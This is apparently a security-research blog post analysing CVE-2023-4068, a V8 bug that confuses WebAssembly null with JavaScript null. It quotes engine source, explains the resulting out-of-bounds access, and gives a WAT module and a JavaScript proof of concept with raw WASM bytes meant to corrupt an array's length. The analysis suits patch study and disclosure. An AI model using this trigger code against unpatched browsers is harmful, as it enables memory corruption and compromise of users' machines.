Sep 25, 2025 • VULNERABILITY RESEARCH
V8 N-Day Analysis CVE-2023-4068
WASM Null vs JS Null Type Confusion ()
Bug Type
V8 introduced a WASM null type for WebAssembly references while still keeping the JS null-value object. Some engine paths mistakenly treat the JS null-value as a WASM null. This type confusion allows reading or writing beyond the allocated JS null object.
Commit 455d38ff8df7303474e8ead05cad659aac0a1bbc
Bug Location
From src/wasm/constant-expression-interface.cc:
WasmValue DefaultValueForType(ValueType type, Isolate* isolate) { switch (type.kind()) { case kI32: case kI8: case kI16: return WasmValue(0); case kI64: return WasmValue(int64_t{0}); case kF32: return WasmValue(0.0f); case kF64: return WasmValue(0.0); case kS128: return WasmValue(Simd128()); case kRefNull: return WasmValue(isolate->factory()->null_value(), type); // ---> [2] case kVoid: case kRtt: case kRef: case kBottom: UNREACHABLE(); }}When type.kind() is kRefNull, DefaultValueForType always returns the JS null_value, without checking whether a WASM null is expected. As a result, structure members or references that should be treated as wasm-null may incorrectly point to a JS null_value, creating a type confusion between the two null types.
V8 Structs for JS NullValue and WASM Null
JS NullValue
From src/objects/heap-object.h:
class HeapObjectPtr : public ObjectPtr { public: inline Map map() const; inline int Size() const; operator HeapObject*() { return reinterpret_cast<HeapObject*>(ptr()); }};WASM Null
From src/wasm/wasm-objects.h:
class WasmNull : public TorqueGeneratedWasmNull<WasmNull, HeapObject> { public: static constexpr int kSize = 64 * KB + kTaggedSize; Address payload() { return ptr() + kHeaderSize - kHeapObjectTag; }};- WASM null is 64 KB+, while JS null_value is only 16 bytes.
- The size mismatch allows OOB memory access if a JS null is misinterpreted as WASM null.
Generating WASM Ref Null Module (WAT)
(module (type $t0 (func)) (func $main ;; Allocate a ref.null of externref type (local $r externref) (local.set $r (ref.null extern)) ) (export "main" (func $main)))WASM GC Type Confusion with OOB Example
let objArr = [{}, {}];let doubleArr = [1.1, 2.2, 3.3];let oobArr = [1.1, 1.1, 1.1]; // array to be expanded via bug
var wasm_code = new Uint8Array([ 0, 97, 115, 109, 1, 0, 0, 0, 1, 38, 6, 80, 0, 95, 1, 127, 1, 80, 0, 95, 1, 108, 0, 1, 80, 0, 95, 1, 108, 1, 0, 80, 0, 95, 1, 108, 2, 0, 80, 0, 95, 1, 108, 3, 0, 96, 0, 0, 3, 2, 1, 5, 4, 12, 1, 64, 0, 107, 4, 1, 1, 2, 251, 8, 4, 11, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 29, 1, 27, 0, 65, 0, 37, 0, 251, 3, 4, 0, 251, 3, 3, 0, 251, 3, 2, 0, 251, 3, 1, 0, 251, 3, 0, 0, 26, 11,]);var wasm_module = new WebAssembly.Module(wasm_code);var wasm_instance = new WebAssembly.Instance(wasm_module);
// Step 3: Trigger WASM GC bug to expand `oobArr`wasm_instance.exports.main(); // internally calls DefaultValueForType(kRefNull)
console.log("oobArr length after bug:", oobArr.length);DefaultValueForType(kRefNull)always returns JS null_value.- Engine expects WASM null, so memory past the JS null_value can be accessed.